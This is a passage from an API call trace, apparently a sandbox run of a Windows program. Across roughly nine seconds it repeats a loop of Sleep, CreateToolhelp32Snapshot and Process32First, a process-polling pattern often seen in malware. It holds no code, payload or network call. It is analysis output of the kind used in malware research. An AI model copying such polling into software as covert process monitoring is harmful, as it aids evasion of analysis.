(dwMilliseconds=0x64) [0155.253] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14a8 [0155.335] Process32First (in: hSnapshot=0x14a8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.425] Sleep (dwMilliseconds=0x64) [0155.526] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0155.539] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.644] Sleep (dwMilliseconds=0x64) [0155.673] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0155.685] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.830] Sleep (dwMilliseconds=0x64) [0155.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0155.846] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.967] Sleep (dwMilliseconds=0x64) [0155.969] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0155.987] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.101] Sleep (dwMilliseconds=0x64) [0156.102] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.117] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.222] Sleep (dwMilliseconds=0x64) [0156.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.237] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.316] Sleep (dwMilliseconds=0x64) [0156.318] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.336] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.420] Sleep (dwMilliseconds=0x64) [0156.422] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.435] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.529] Sleep (dwMilliseconds=0x64) [0156.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.547] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.619] Sleep (dwMilliseconds=0x64) [0156.622] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.649] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.724] Sleep (dwMilliseconds=0x64) [0156.726] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.741] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.844] Sleep (dwMilliseconds=0x64) [0156.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0156.875] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.127] Sleep (dwMilliseconds=0x64) [0157.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0157.145] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.268] Sleep (dwMilliseconds=0x64) [0157.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0157.286] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.477] Sleep (dwMilliseconds=0x64) [0157.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0157.495] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.616] Sleep (dwMilliseconds=0x64) [0157.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0157.633] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.722] Sleep (dwMilliseconds=0x64) [0157.726] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb58 [0157.796] Process32First (in: hSnapshot=0xb58, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.892] Sleep (dwMilliseconds=0x64) [0158.166] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0158.333] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.417] Sleep (dwMilliseconds=0x64) [0158.508] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0158.519] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.638] Sleep (dwMilliseconds=0x64) [0158.641] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0158.652] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.766] Sleep (dwMilliseconds=0x64) [0158.767] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0158.778] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.881] Sleep (dwMilliseconds=0x64) [0158.882] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0158.893] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.992] Sleep (dwMilliseconds=0x64) [0158.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.042] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.205] Sleep (dwMilliseconds=0x64) [0159.206] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.226] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.347] Sleep (dwMilliseconds=0x64) [0159.348] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.363] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.458] Sleep (dwMilliseconds=0x64) [0159.460] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.472] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.537] Sleep (dwMilliseconds=0x64) [0159.538] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.585] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.657] Sleep (dwMilliseconds=0x64) [0159.659] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.674] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.776] Sleep (dwMilliseconds=0x64) [0159.778] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.791] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.891] Sleep (dwMilliseconds=0x64) [0159.897] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0159.912] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.063] Sleep (dwMilliseconds=0x64) [0160.064] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144c [0160.079] Process32First (in: hSnapshot=0x144c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.146] Sleep (dwMilliseconds=0x64) [0160.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0160.160] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.358] Sleep (dwMilliseconds=0x64) [0160.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0160.376] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.541] Sleep (dwMilliseconds=0x64) [0160.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0160.558] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.653] Sleep (dwMilliseconds=0x64) [0160.655] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0160.666] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.738] Sleep (dwMilliseconds=0x64) [0160.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0160.754] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.850] Sleep (dwMilliseconds=0x64) [0160.853] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0160.864] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.992] Sleep (dwMilliseconds=0x64) [0161.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0161.066] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.193] Sleep (dwMilliseconds=0x64) [0161.195] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0161.212] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.367] Sleep (dwMilliseconds=0x64) [0161.368] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0161.392] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.514] Sleep (dwMilliseconds=0x64) [0161.517] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0161.534] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.701] Sleep (dwMilliseconds=0x64) [0161.703] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0161.717] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.800] Sleep (dwMilliseconds=0x64) [0161.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0161.855] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.933] Sleep (dwMilliseconds=0x64) [0161.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.002] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.124] Sleep (dwMilliseconds=0x64) [0162.126] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.142] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.253] Sleep (dwMilliseconds=0x64) [0162.255] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.269] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.364] Sleep (dwMilliseconds=0x64) [0162.365] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.377] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.447] Sleep (dwMilliseconds=0x64) [0162.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.492] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.584] Sleep (dwMilliseconds=0x64) [0162.586] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.639] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.705] Sleep (dwMilliseconds=0x64) [0162.709] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.725] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.979] Sleep (dwMilliseconds=0x64) [0162.982] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0162.997] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.171] Sleep (dwMilliseconds=0x64) [0163.173] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0163.189] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.305] Sleep (dwMilliseconds=0x64) [0163.307] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0163.329] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.441] Sleep (dwMilliseconds=0x64) [0163.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0163.460] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.575] Sleep (dwMilliseconds=0x64) [0163.576] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0163.592] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.672] Sleep (dwMilliseconds=0x64) [0163.675] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0163.719] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.786] Sleep (dwMilliseconds=0x64) [0163.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0163.801] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.904] Sleep (dwMilliseconds=0x64) [0163.906] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0163.924] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.074] Sleep (dwMilliseconds=0x64) [0164.076] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0164.130] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 